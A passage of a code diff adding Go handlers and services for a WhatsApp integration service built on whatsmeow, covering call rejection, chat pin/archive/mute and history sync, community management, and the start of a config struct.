+		c.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Checking new client - Exists: %v, Connected: %v",
+			instanceId,
+			client != nil,
+			client != nil && client.IsConnected())
+
+		if client == nil || !client.IsConnected() {
+			c.loggerWrapper.GetLogger(instanceId).LogError("[%s] New client validation failed - Exists: %v, Connected: %v",
+				instanceId,
+				client != nil,
+				client != nil && client.IsConnected())
+			return nil, errors.New("no active session found")
+		}
+	} else if !client.IsConnected() {
+		c.loggerWrapper.GetLogger(instanceId).LogError("[%s] Existing client is disconnected - Connected status: %v",
+			instanceId,
+			client.IsConnected())
+		return nil, errors.New("client disconnected")
+	}
+
+	c.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Client successfully validated - Connected: %v", instanceId, client.IsConnected())
+	return client, nil
+}
+
+func (c *callService) RejectCall(data *RejectCallStruct, instance *instance_model.Instance) error {
+	client, err := c.ensureClientConnected(instance.Id)
+	if err != nil {
+		return err
+	}
+
+	err = client.RejectCall(context.Background(), data.CallCreator, data.CallID)
+	if err != nil {
+		logger.LogError("[%s] error reject call: %v", instance.Id, err)
+		return err
+	}
+
+	return nil
+}
+
+func NewCallService(
+	clientPointer map[string]*whatsmeow.Client,
+	whatsmeowService whatsmeow_service.WhatsmeowService,
+	loggerWrapper *logger_wrapper.LoggerManager,
+) CallService {
+	return &callService{
+		clientPointer:    clientPointer,
+		whatsmeowService: whatsmeowService,
+		loggerWrapper:    loggerWrapper,
+	}
+}

whatsapp-service/pkg/chat/handler/chat_handler.go

@@ -0,0 +1,337 @@
+package chat_handler
+
+import (
+	"net/http"
+
+	chat_service "agentdeck-whatsapp-service/pkg/chat/service"
+	instance_model "agentdeck-whatsapp-service/pkg/instance/model"
+	"github.com/gin-gonic/gin"
+)
+
+type ChatHandler interface {
+	ChatPin(ctx *gin.Context)
+	ChatUnpin(ctx *gin.Context)
+	ChatArchive(ctx *gin.Context)
+	ChatUnarchive(ctx *gin.Context)
+	ChatMute(ctx *gin.Context)
+	ChatUnmute(ctx *gin.Context)
+	HistorySyncRequest(ctx *gin.Context)
+}
+
+type chatHandler struct {
+	chatService chat_service.ChatService
+}
+
+// Pin a chat
+// @Summary Pin a chat
+// @Description Pin a chat
+// @Tags Chat
+// @Accept json
+// @Produce json
+// @Param message body chat_service.BodyStruct true "Chat"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /chat/pin [post]
+func (c *chatHandler) ChatPin(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *chat_service.BodyStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.Chat == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "chat is required"})
+		return
+	}
+
+	ts, err := c.chatService.ChatPin(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	responseData := gin.H{
+		"timestamp": ts,
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": responseData})
+}
+
+// Unpin a chat
+// @Summary Unpin a chat
+// @Description Unpin a chat
+// @Tags Chat
+// @Accept json
+// @Produce json
+// @Param message body chat_service.BodyStruct true "Chat"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /chat/unpin [post]
+func (c *chatHandler) ChatUnpin(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *chat_service.BodyStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.Chat == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "chat is required"})
+		return
+	}
+
+	ts, err := c.chatService.ChatUnpin(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	responseData := gin.H{
+		"timestamp": ts,
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": responseData})
+}
+
+// Archive a chat
+// @Summary Archive a chat
+// @Description Archive a chat
+// @Tags Chat
+// @Accept json
+// @Produce json
+// @Param message body chat_service.BodyStruct true "Chat"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /chat/archive [post]
+func (c *chatHandler) ChatArchive(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *chat_service.BodyStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.Chat == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "chat is required"})
+		return
+	}
+
+	ts, err := c.chatService.ChatArchive(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	responseData := gin.H{
+		"timestamp": ts,
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": responseData})
+}
+
+// Unarchive a chat
+// @Summary Unarchive a chat
+// @Description Unarchive a chat
+// @Tags Chat
+// @Accept json
+// @Produce json
+// @Param message body chat_service.BodyStruct true "Chat"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /chat/unarchive [post]
+func (c *chatHandler) ChatUnarchive(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *chat_service.BodyStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.Chat == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "chat is required"})
+		return
+	}
+
+	ts, err := c.chatService.ChatUnarchive(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	responseData := gin.H{
+		"timestamp": ts,
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": responseData})
+}
+
+// Mute a chat
+// @Summary Mute a chat
+// @Description Mute a chat
+// @Tags Chat
+// @Accept json
+// @Produce json
+// @Param message body chat_service.BodyStruct true "Chat"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /chat/mute [post]
+func (c *chatHandler) ChatMute(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *chat_service.BodyStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.Chat == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "chat is required"})
+		return
+	}
+
+	ts, err := c.chatService.ChatMute(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	responseData := gin.H{
+		"timestamp": ts,
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": responseData})
+}
+
+// Unmute a chat
+// @Summary Unmute a chat
+// @Description Unmute a chat
+// @Tags Chat
+// @Accept json
+// @Produce json
+// @Param message body chat_service.BodyStruct true "Chat"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /chat/unmute [post]
+func (c *chatHandler) ChatUnmute(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *chat_service.BodyStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.Chat == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "chat is required"})
+		return
+	}
+
+	ts, err := c.chatService.ChatUnmute(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	responseData := gin.H{
+		"timestamp": ts,
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": responseData})
+}
+
+// HistorySyncRequest a chat
+// @Summary HistorySyncRequest a chat
+// @Description HistorySyncRequest a chat
+// @Tags Chat
+// @Accept json
+// @Produce json
+// @Param message body chat_service.HistorySyncRequestStruct true "Chat"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /chat/history-sync [post]
+func (c *chatHandler) HistorySyncRequest(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *chat_service.HistorySyncRequestStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	resp, err := c.chatService.HistorySyncRequest(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": resp})
+}
+
+func NewChatHandler(
+	chatService chat_service.ChatService,
+) ChatHandler {
+	return &chatHandler{
+		chatService: chatService,
+	}
+}

whatsapp-service/pkg/chat/service/chat_service.go

@@ -0,0 +1,256 @@
+package chat_service
+
+import (
+	"context"
+	"errors"
+	"time"
+
+	instance_model "agentdeck-whatsapp-service/pkg/instance/model"
+	logger_wrapper "agentdeck-whatsapp-service/pkg/logger"
+	"agentdeck-whatsapp-service/pkg/utils"
+	whatsmeow_service "agentdeck-whatsapp-service/pkg/whatsmeow/service"
+	"go.mau.fi/whatsmeow"
+	"go.mau.fi/whatsmeow/appstate"
+	"go.mau.fi/whatsmeow/types"
+)
+
+type ChatService interface {
+	ChatPin(data *BodyStruct, instance *instance_model.Instance) (string, error)
+	ChatUnpin(data *BodyStruct, instance *instance_model.Instance) (string, error)
+	ChatArchive(data *BodyStruct, instance *instance_model.Instance) (string, error)
+	ChatUnarchive(data *BodyStruct, instance *instance_model.Instance) (string, error)
+	ChatMute(data *BodyStruct, instance *instance_model.Instance) (string, error)
+	ChatUnmute(data *BodyStruct, instance *instance_model.Instance) (string, error)
+	HistorySyncRequest(data *HistorySyncRequestStruct, instance *instance_model.Instance) (*whatsmeow.SendResponse, error)
+}
+
+type chatService struct {
+	clientPointer    map[string]*whatsmeow.Client
+	whatsmeowService whatsmeow_service.WhatsmeowService
+	loggerWrapper    *logger_wrapper.LoggerManager
+}
+
+type BodyStruct struct {
+	Chat string `json:"chat"`
+}
+
+type HistorySyncRequestStruct struct {
+	MessageInfo *types.MessageInfo `json:"messageInfo"`
+	Count       int                `json:"count"`
+}
+
+func (c *chatService) ensureClientConnected(instanceId string) (*whatsmeow.Client, error) {
+	client := c.clientPointer[instanceId]
+	c.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Checking client connection status - Client exists: %v", instanceId, client != nil)
+
+	if client == nil {
+		c.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] No client found, attempting to start new instance", instanceId)
+		err := c.whatsmeowService.StartInstance(instanceId)
+		if err != nil {
+			c.loggerWrapper.GetLogger(instanceId).LogError("[%s] Failed to start instance: %v", instanceId, err)
+			return nil, errors.New("no active session found")
+		}
+
+		c.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Instance started, waiting 2 seconds...", instanceId)
+		time.Sleep(2 * time.Second)
+
+		client = c.clientPointer[instanceId]
+		c.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Checking new client - Exists: %v, Connected: %v",
+			instanceId,
+			client != nil,
+			client != nil && client.IsConnected())
+
+		if client == nil || !client.IsConnected() {
+			c.loggerWrapper.GetLogger(instanceId).LogError("[%s] New client validation failed - Exists: %v, Connected: %v",
+				instanceId,
+				client != nil,
+				client != nil && client.IsConnected())
+			return nil, errors.New("no active session found")
+		}
+	} else if !client.IsConnected() {
+		c.loggerWrapper.GetLogger(instanceId).LogError("[%s] Existing client is disconnected - Connected status: %v",
+			instanceId,
+			client.IsConnected())
+		return nil, errors.New("client disconnected")
+	}
+
+	c.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Client successfully validated - Connected: %v", instanceId, client.IsConnected())
+	return client, nil
+}
+
+func (c *chatService) ChatPin(data *BodyStruct, instance *instance_model.Instance) (string, error) {
+	client, err := c.ensureClientConnected(instance.Id)
+	if err != nil {
+		return "", err
+	}
+
+	var ts time.Time
+
+	recipient, ok := utils.ParseJID(data.Chat)
+	if !ok {
+		c.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Error validating message fields", instance.Id)
+		return "", errors.New("invalid phone number")
+	}
+
+	err = client.SendAppState(context.Background(), appstate.BuildPin(recipient, true))
+	if err != nil {
+		c.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error pin chat: %v", instance.Id, err)
+		return "", err
+	}
+
+	return ts.String(), nil
+}
+
+func (c *chatService) ChatUnpin(data *BodyStruct, instance *instance_model.Instance) (string, error) {
+	client, err := c.ensureClientConnected(instance.Id)
+	if err != nil {
+		return "", err
+	}
+
+	var ts time.Time
+
+	recipient, ok := utils.ParseJID(data.Chat)
+	if !ok {
+		c.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Error validating message fields", instance.Id)
+		return "", errors.New("invalid phone number")
+	}
+
+	err = client.SendAppState(context.Background(), appstate.BuildPin(recipient, false))
+	if err != nil {
+		c.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error unpin chat: %v", instance.Id, err)
+		return "", err
+	}
+
+	return ts.String(), nil
+}
+
+func (c *chatService) ChatArchive(data *BodyStruct, instance *instance_model.Instance) (string, error) {
+	client, err := c.ensureClientConnected(instance.Id)
+	if err != nil {
+		return "", err
+	}
+
+	var ts time.Time
+
+	recipient, ok := utils.ParseJID(data.Chat)
+	if !ok {
+		c.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Error validating message fields", instance.Id)
+		return "", errors.New("invalid phone number")
+	}
+
+	err = client.SendAppState(context.Background(), appstate.BuildArchive(recipient, true, time.Time{}, nil))
+	if err != nil {
+		c.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error archive chat: %v", instance.Id, err)
+		return "", err
+	}
+
+	return ts.String(), nil
+}
+
+func (c *chatService) ChatUnarchive(data *BodyStruct, instance *instance_model.Instance) (string, error) {
+	client, err := c.ensureClientConnected(instance.Id)
+	if err != nil {
+		return "", err
+	}
+
+	var ts time.Time
+
+	recipient, ok := utils.ParseJID(data.Chat)
+	if !ok {
+		c.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Error validating message fields", instance.Id)
+		return "", errors.New("invalid phone number")
+	}
+
+	err = client.SendAppState(context.Background(), appstate.BuildArchive(recipient, false, time.Time{}, nil))
+	if err != nil {
+		c.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error unarchive chat: %v", instance.Id, err)
+		return "", err
+	}
+
+	return ts.String(), nil
+}
+
+func (c *chatService) ChatMute(data *BodyStruct, instance *instance_model.Instance) (string, error) {
+	client, err := c.ensureClientConnected(instance.Id)
+	if err != nil {
+		return "", err
+	}
+
+	var ts time.Time
+
+	recipient, ok := utils.ParseJID(data.Chat)
+	if !ok {
+		c.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Error validating message fields", instance.Id)
+		return "", errors.New("invalid phone number")
+	}
+
+	err = client.SendAppState(context.Background(), appstate.BuildMute(recipient, true, 1*time.Hour))
+	if err != nil {
+		c.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error mute chat: %v", instance.Id, err)
+		return "", err
+	}
+
+	return ts.String(), nil
+}
+
+func (c *chatService) ChatUnmute(data *BodyStruct, instance *instance_model.Instance) (string, error) {
+	client, err := c.ensureClientConnected(instance.Id)
+	if err != nil {
+		return "", err
+	}
+
+	var ts time.Time
+
+	recipient, ok := utils.ParseJID(data.Chat)
+	if !ok {
+		c.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Error validating message fields", instance.Id)
+		return "", errors.New("invalid phone number")
+	}
+
+	err = client.SendAppState(context.Background(), appstate.BuildMute(recipient, false, 0*time.Hour))
+	if err != nil {
+		c.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error unmute chat: %v", instance.Id, err)
+		return "", err
+	}
+
+	return ts.String(), nil
+}
+
+func (c *chatService) HistorySyncRequest(data *HistorySyncRequestStruct, instance *instance_model.Instance) (*whatsmeow.SendResponse, error) {
+	client, err := c.ensureClientConnected(instance.Id)
+	if err != nil {
+		return nil, err
+	}
+
+	messageInfo := types.MessageInfo{
+		MessageSource: types.MessageSource{
+			Chat:     data.MessageInfo.Chat,
+			IsFromMe: data.MessageInfo.IsFromMe,
+			IsGroup:  data.MessageInfo.IsGroup,
+		},
+		ID:        data.MessageInfo.ID,
+		Timestamp: data.MessageInfo.Timestamp,
+	}
+
+	histRequest := client.BuildHistorySyncRequest(&messageInfo, data.Count)
+
+	res, err := client.SendMessage(context.Background(), messageInfo.Chat, histRequest, whatsmeow.SendRequestExtra{Peer: true})
+	if err != nil {
+		c.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error history sync request: %v", instance.Id, err)
+		return nil, err
+	}
+
+	return &res, nil
+}
+
+func NewChatService(
+	clientPointer map[string]*whatsmeow.Client,
+	whatsmeowService whatsmeow_service.WhatsmeowService,
+	loggerWrapper *logger_wrapper.LoggerManager,
+) ChatService {
+	return &chatService{
+		clientPointer:    clientPointer,
+		whatsmeowService: whatsmeowService,
+		loggerWrapper:    loggerWrapper,
+	}
+}

whatsapp-service/pkg/community/handler/community_handler.go

@@ -0,0 +1,160 @@
+package community_handler
+
+import (
+	"net/http"
+
+	community_service "agentdeck-whatsapp-service/pkg/community/service"
+	instance_model "agentdeck-whatsapp-service/pkg/instance/model"
+	"github.com/gin-gonic/gin"
+)
+
+type CommunityHandler interface {
+	CreateCommunity(ctx *gin.Context)
+	CommunityAdd(ctx *gin.Context)
+	CommunityRemove(ctx *gin.Context)
+}
+
+type communityHandler struct {
+	communityService community_service.CommunityService
+}
+
+// Create community
+// @Summary Create community
+// @Description Create community
+// @Tags Community
+// @Accept json
+// @Produce json
+// @Param message body community_service.CreateCommunityStruct true "Community data"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /community/create [post]
+func (c *communityHandler) CreateCommunity(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *community_service.CreateCommunityStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.CommunityName == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "community name is required"})
+		return
+	}
+
+	community, err := c.communityService.CreateCommunity(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": community})
+}
+
+// Add participant to community
+// @Summary Add participant to community
+// @Description Add participant to community
+// @Tags Community
+// @Accept json
+// @Produce json
+// @Param message body community_service.AddParticipantStruct true "Participant data"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /community/add [post]
+func (c *communityHandler) CommunityAdd(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *community_service.AddParticipantStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.CommunityJID == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "community jid is required"})
+		return
+	}
+
+	if len(data.GroupJID) == 0 {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "group jid is required"})
+		return
+	}
+
+	resp, err := c.communityService.CommunityAdd(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": resp})
+}
+
+// Remove participant from community
+// @Summary Remove participant from community
+// @Description Remove participant from community
+// @Tags Community
+// @Accept json
+// @Produce json
+// @Param message body community_service.AddParticipantStruct true "Participant data"
+// @Success 200 {object} gin.H "success"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /community/remove [post]
+func (c *communityHandler) CommunityRemove(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *community_service.AddParticipantStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.CommunityJID == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "community jid is required"})
+		return
+	}
+
+	if len(data.GroupJID) == 0 {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "group jid is required"})
+		return
+	}
+
+	resp, err := c.communityService.CommunityRemove(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": resp})
+}
+
+func NewCommunityHandler(
+	communityService community_service.CommunityService,
+) CommunityHandler {
+	return &communityHandler{
+		communityService: communityService,
+	}
+}

whatsapp-service/pkg/community/service/community_service.go

@@ -0,0 +1,169 @@
+package community_service
+
+import (
+	"context"
+	"errors"
+	"time"
+
+	instance_model "agentdeck-whatsapp-service/pkg/instance/model"
+	logger_wrapper "agentdeck-whatsapp-service/pkg/logger"
+	"agentdeck-whatsapp-service/pkg/utils"
+	whatsmeow_service "agentdeck-whatsapp-service/pkg/whatsmeow/service"
+	"github.com/gin-gonic/gin"
+	"go.mau.fi/whatsmeow"
+	"go.mau.fi/whatsmeow/types"
+)
+
+type CommunityService interface {
+	CreateCommunity(data *CreateCommunityStruct, instance *instance_model.Instance) (*types.GroupInfo, error)
+	CommunityAdd(data *AddParticipantStruct, instance *instance_model.Instance) (gin.H, error)
+	CommunityRemove(data *AddParticipantStruct, instance *instance_model.Instance) (gin.H, error)
+}
+
+type communityService struct {
+	clientPointer    map[string]*whatsmeow.Client
+	whatsmeowService whatsmeow_service.WhatsmeowService
+	loggerWrapper    *logger_wrapper.LoggerManager
+}
+
+type CreateCommunityStruct struct {
+	CommunityName string `json:"communityName"`
+}
+
+type AddParticipantStruct struct {
+	CommunityJID string   `json:"communityJid"`
+	GroupJID     []string `json:"groupJid"`
+}
+
+func (c *communityService) ensureClientConnected(instanceId string) (*whatsmeow.Client, error) {
+	client := c.clientPointer[instanceId]
+	c.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Checking client connection status - Client exists: %v", instanceId, client != nil)
+
+	if client == nil {
+		c.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] No client found, attempting to start new instance", instanceId)
+		err := c.whatsmeowService.StartInstance(instanceId)
+		if err != nil {
+			c.loggerWrapper.GetLogger(instanceId).LogError("[%s] Failed to start instance: %v", instanceId, err)
+			return nil, errors.New("no active session found")
+		}
+
+		c.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Instance started, waiting 2 seconds...", instanceId)
+		time.Sleep(2 * time.Second)
+
+		client = c.clientPointer[instanceId]
+		c.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Checking new client - Exists: %v, Connected: %v",
+			instanceId,
+			client != nil,
+			client != nil && client.IsConnected())
+
+		if client == nil || !client.IsConnected() {
+			c.loggerWrapper.GetLogger(instanceId).LogError("[%s] New client validation failed - Exists: %v, Connected: %v",
+				instanceId,
+				client != nil,
+				client != nil && client.IsConnected())
+			return nil, errors.New("no active session found")
+		}
+	} else if !client.IsConnected() {
+		c.loggerWrapper.GetLogger(instanceId).LogError("[%s] Existing client is disconnected - Connected status: %v",
+			instanceId,
+			client.IsConnected())
+		return nil, errors.New("client disconnected")
+	}
+
+	c.loggerWrapper.GetLogger(instanceId).LogInfo("[%s] Client successfully validated - Connected: %v", instanceId, client.IsConnected())
+	return client, nil
+}
+
+func (c *communityService) CreateCommunity(data *CreateCommunityStruct, instance *instance_model.Instance) (*types.GroupInfo, error) {
+	client, err := c.ensureClientConnected(instance.Id)
+	if err != nil {
+		return nil, err
+	}
+
+	resp, err := client.CreateGroup(context.Background(), whatsmeow.ReqCreateGroup{
+		Name: data.CommunityName,
+		GroupParent: types.GroupParent{
+			IsParent: true,
+		},
+	})
+	if err != nil {
+		c.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error create community: %v", instance.Id, err)
+		return nil, err
+	}
+
+	return resp, nil
+}
+
+func (c *communityService) CommunityAdd(data *AddParticipantStruct, instance *instance_model.Instance) (gin.H, error) {
+	client, err := c.ensureClientConnected(instance.Id)
+	if err != nil {
+		return nil, err
+	}
+
+	communityJID, ok := utils.ParseJID(data.CommunityJID)
+	if !ok {
+		c.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error parse community jid", instance.Id)
+		return nil, errors.New("error parse community jid")
+	}
+
+	var successList []string
+	var failedList []string
+
+	for _, participant := range data.GroupJID {
+		groupJID, _ := utils.ParseJID(participant)
+		err := client.LinkGroup(context.Background(), communityJID, groupJID)
+		if err != nil {
+			c.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error link group: %v", instance.Id, err)
+			failedList = append(failedList, groupJID.String())
+		}
+		successList = append(failedList, groupJID.String())
+	}
+
+	return gin.H{
+		"success": successList,
+		"failed":  failedList,
+	}, nil
+}
+
+func (c *communityService) CommunityRemove(data *AddParticipantStruct, instance *instance_model.Instance) (gin.H, error) {
+	client, err := c.ensureClientConnected(instance.Id)
+	if err != nil {
+		return nil, err
+	}
+
+	communityJID, ok := utils.ParseJID(data.CommunityJID)
+	if !ok {
+		c.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error parse community jid", instance.Id)
+		return nil, errors.New("error parse community jid")
+	}
+
+	var successList []string
+	var failedList []string
+
+	for _, participant := range data.GroupJID {
+		groupJID, _ := utils.ParseJID(participant)
+		err := client.UnlinkGroup(context.Background(), communityJID, groupJID)
+		if err != nil {
+			c.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error link group: %v", instance.Id, err)
+			failedList = append(failedList, groupJID.String())
+		}
+		successList = append(failedList, groupJID.String())
+	}
+
+	return gin.H{
+		"success": successList,
+		"failed":  failedList,
+	}, nil
+}
+
+func NewCommunityService(
+	clientPointer map[string]*whatsmeow.Client,
+	whatsmeowService whatsmeow_service.WhatsmeowService,
+	loggerWrapper *logger_wrapper.LoggerManager,
+) CommunityService {
+	return &communityService{
+		clientPointer:    clientPointer,
+		whatsmeowService: whatsmeowService,
+		loggerWrapper:    loggerWrapper,
+	}
+}

whatsapp-service/pkg/config/config.go

@@ -0,0 +1,338 @@
+package config
+
+import (
+	"database/sql"
+	"fmt"
+	"net/url"
+	"os"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/gomessguii/logger"
+	_ "github.com/lib/pq"
+
+	config_env "agentdeck-whatsapp-service/pkg/config/env"
+)
+
+type Config struct {
+	// Supabase (PostgREST API + native Postgres for whatsmeow store/wasmeow)
+	SupabaseURL        string
+	SupabaseServiceKey string
+	SupabaseDBURL      string
+	DatabaseSaveMessages bool
+	GlobalApiKey         string
+	WaDebug              string
+	LogType              string
+	WebhookFiles         bool
+	ConnectOnStartup     bool
+	OsName               string
+	AmqpUrl              string
+	AmqpGlobalEnabled    bool
+	WebhookUrl           string
+	ClientName           string
+	ApiAudioConverter    string
+	ApiAudioConverterKey string
+	MinioEndpoint        string
+	MinioAccessKey       string
+	MinioSecretKey       string
+	MinioBucket          string
+	MinioUseSSL          bool
